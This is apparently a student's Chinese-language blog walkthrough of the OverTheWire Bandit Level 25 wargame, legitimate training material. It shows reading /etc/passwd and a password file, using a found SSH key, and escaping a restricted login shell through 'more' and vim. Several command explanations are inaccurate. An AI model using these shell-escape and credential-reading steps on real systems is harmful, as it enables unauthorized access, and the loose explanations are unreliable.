软件工程 第四周的博客

简要概述 CTF OverTheWire Bandit Level 25

题目

bandit25登录到bandit26,用户bandit26shell不是/bin/bash,而是其他东西。找出它是什么,它是如何工作的,以及如何打破它。


先利用ssh连接到bandit.labs.overthewire.org的服务器,端口号2220,为此我们需要bandit25的密码。

1
2
ssh bandit25@bandit.labs.overthewire.org -p 2220
# p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d

bandit25进入 Level 25 之后先列举/home/bandit25有什么可以帮助通关的东西:

1
find . -maxdepth 1 -exec file {} 2>/dev/null \;
    .: directory
    ./.bash_logout: ASCII text
    ./.bashrc: ASCII text
    ./bandit26.sshkey: PEM RSA private key
    ./.profile: ASCII text
    ./.pin: ASCII text, with no line terminators
    ./.bandit24.password: ASCII text

find: 查找指令

.

-maxdepth 1: 类似于lodash.js中的flattenDepth的功能,用于拓展平铺树状结构,1代表一层

-exec <...> \;: 代表执行,和pskillidstat属于一类指令,多用于管理系统进程,这里我图方便用来替代for用一下。注意一定要在运行完<...>;结束进程,;前面用\取消原本的意义

file: 查询文件类型,{}placeholder,和 HTML 里的那个placeholder一个意思

2>/dev/null: 2是报错信息的status code/dev/null是系统的bit dump,因此这句的完整的意思就是不让报错信息输出到stdout

很明显bandit26.sshkey有用,是bandit26的 SSH 密钥。

我们就用它来连接bandit26:

1
ssh -i bandit26.sshkey -p 2220 bandit26@localhost

-i代表identifier,就是身份验证

接着,在handshake阶段选’yes’

然后,我们就被踢出来了。。。

  _                     _ _ _   ___   __  
 | |                   | (_) | |__ \ / /  
 | |__   __ _ _ __   __| |_| |_   ) / /_  
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \ 
 | |_) | (_| | | | | (_| | | |_ / /| (_) |
 |_.__/ \__,_|_| |_|\__,_|_|\__|____\___/ 
Connection to localhost closed.

不急,去看看bandit26的用户信息。

在类Unix系统中(包括GNU - GNU’s Not Unix,也就是Linux),用户信息在系统文件/etc/passwd里 - 这是常识,要记住!

1
2
3
cat /etc/passwd | grep "bandit26"

# bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext

先不用管别的,我们要找的是最后一列,也就是代表每个用户的初始shell

一开始有说过,bandit26用的shell不是bash,是别的东西。众所周知,因为shell负责翻译所有的指令成机码并输出给kernel执行,所以shell是开启终端进程时运行的第一个程序。因此,我们登陆不上bandit26肯定和这个用户修改了他的default shell有关。

cat /usr/bin/showtext看一下他的初始shell是什么。

1
2
3
4
5
6
7
#!/bin/sh

export TERM=linux

exec more ~/text.txt
exit 0

好家伙,改了个参数,打印了个图标就退出了,怪不得登录不上。

不过因为bandit26用的是more指令,而more指令如果在一个窗口里打印不出文本就会卡壳,我们可以钻这个漏洞,就是把窗口缩到特别小,然后再尝试登陆。

完美,它卡了。。。

1
2
3
4
5
6
#
# _ _ _ _ ___
# __
# | | | (_) | |__ \
# / /
# --More--(33%)

我们可以在more的窗口里用!加任何指令开启一个subshell,也可以直接v打开vim编辑器。

我们选择后者。

进入vim之后按老规矩先ESC进入普通模式,然后按:键,跟在后面输入指令就可以改shell

1
2
3
4
5
6
7
set shell=/bin/bash

# 改成bash

shell

# 刷新并重新登陆

我们现在应该是以bandit26的身份登陆了。

然后需要做的就是去取下一关的密码了。

1
2
cat /etc/bandit_pass/bandit26
# c7GvcKlw9mC7aUQaPx7nwFstuAIBw1o1